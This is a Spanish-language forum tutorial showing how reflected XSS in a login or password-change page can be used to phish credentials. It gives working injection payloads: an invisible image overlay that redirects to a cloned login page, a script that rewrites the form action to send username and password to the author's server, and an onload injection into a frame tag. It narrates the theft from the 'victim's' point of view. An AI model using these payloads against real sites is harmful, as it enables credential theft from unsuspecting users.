1. Añadir imagen invisible superpuesta al botón del submit del form del login
2. Cambiar action de un form
Glosario de terminos
XSS: del inglés Cross-site scripting es un tipo de inseguridad informática o agujero de seguridad típico de las aplicaciones Web, que permite a una tercera parte inyectar en páginas web vistas por el usuario código JavaScript o en otro lenguaje script similar.
Scam: es el nombre utilizado para las estafas a través de medios tecnológicos. A partir de la definición de estafa, se define scam como el ‘delito consistente en provocar un perjuicio patrimonial a alguien mediante engaño y con ánimo de lucro; utilizando como medio la tecnología’.
Phising: es un término informático que denomina un tipo de abuso informático y que se comete mediante el uso de un tipo de ingenieria social caracterizado por intentar adquirir información confidencial de forma fraudulenta.
Ejemplo 1:
Como se puede apreciar esta sería la URL junto a la inyección XSS que se enviará a las víctimas.
[Enlace externo eliminado para invitados]
Diseccionándola para identificar mejor cada parte de la URL es posible identificar:
Por un lado la URL tal cual.
[Enlace externo eliminado para invitados]
Y por otro la inyección. cerrando el TAG y añadiendo el código correspondiente para el engaño.
Código: Seleccionar todo
"/>
<div style="position: absolute; z-index:1;left:525; top:90; border: none; border: 0;">
<img src="cuadrado.png" height="100" width="160" onclick="javascript:window.location.href='http://127.0.0.1/portalvtn/change_password.php'"></div>
<input type="hidden" value="
Código: Seleccionar todo
"/>
<input type="hidden" value="
[Enlace externo eliminado para invitados]
La imagen al ser cliqueada va a realizar una redirección a una clonación de la página del login que se encuentra alojada en otra web a la espera de recibir ese usuario y contraseña que se espera obtener con este ataque XSS.
Para ver el ejemplo en acción voy a cambiar la imagen invisible por una inexistente y de esta forma poder identificarla en la imagen siguiente.

Imagen 1: Imagen sobrepuesta al botón
La víctima al rellenar su usuario y contraseña y cliquear sobre Cambiar contraseña propia estará realmente apretando sobre la imagen que a su vez lanzará el javascript que le va a re direccionar a la web fraudulenta.

Imagen 2: Víctima redirigida a la web clonada
Nada más entrar al phising que hemos creado será alertado con un mensaje que le haga creer que se ha equivocado escribiendo sus credenciales. como se puede observar en la barra de direcciones ahora se encuentra en nuestro servidor fraudulento.
Una vez vuelva a escribir sus credenciales se guardarán en un fichero y le volverá a ser redirigido a la web real junto con otro XSS que le vuelva a advertir de que ha escrito erróneamente sus credenciales para que no sospeche.

Imagen 3: Usuario y contraseña robada

Imagen 4: Redirección a la web original
Ejemplo 2:
Otra forma muy elegante que no por ello la anterior no se ha de tener en cuenta es modificando en el vuelo directamente el action del form.
[Enlace externo eliminado para invitados]"
Para ver mejor la inyección he separado el código que va a modificar el comportamiento de la aplicación.
Código: Seleccionar todo
<script>document.changeForm.action = " http://127.0.0.1/portalvtn/change_password.php";document.forms[0].btnSubmitOwn.type="submit"</script>
<input type="hidden" value="aaa
document.changeForm.action = " [Enlace externo eliminado para invitados]";
y el type del botón para que pase a ser un submit
document.forms[0].btnSubmitOwn.type="submit"
Aquí se puede apreciar cómo una vez hecha la inyección al darle a ‘Cambiar contraseña propia’ se envía tanto el usuario como la contraseña a mi aplicación y esta a su vez lo vuelca en un fichero.

Imagen 5: Inyección XSS/ formulario rellenado

Imagen 6: Envio de credenciales y vuelta al login original.
De esta forma a diferencia del primer ejemplo a ojos de la víctima sería casi del todo imperceptible.
Ejemplo 3:
Y por último otro ejemplo de XSS no muy común sería el siguiente
[Enlace externo eliminado para invitados]
Donde el código fuente de la aplicación es el siguiente:
Código: Seleccionar todo
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>SIP+ Planilla Flotante</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<frameset cols="250,*" frameborder="no" border="0" framespacing="0">
<frame
src="indicePlanilla.php?proyectoId=1&action=ver"
name="leftFrame" scrolling="No" noresize="noresize" id="leftFrame"/>
<frame
src="verPlanilla2.php?proyectoId=1"
name="mainFrame" id="mainFrame" />
</frameset>
<noframes>
<body>
</body>
</noframes>
</html>
[Enlace externo eliminado para invitados]
Diseccionándolo para que se entienda mejor:
[Enlace externo eliminado para invitados]
" onload=javascript:alert(8) michy="a
Se puede observar en el código fuente como se logra inyectar lo enviado por el parámetro proyectoId en la etiqueta frame sin romperla y lograr que la aplicación cumpla como estaba prevista sin malformaciones a la vista de la víctima.
Código: Seleccionar todo
<frame
src="indicePlanilla.php?proyectoId=\" onload=javascript:alert(8) michy=\"a&action=ver"
name="leftFrame" scrolling="No" noresize="noresize" id="leftFrame"/>

Imagen 7: Inyección exitosa en la etiqueta frame
Fuente: [Enlace externo eliminado para invitados]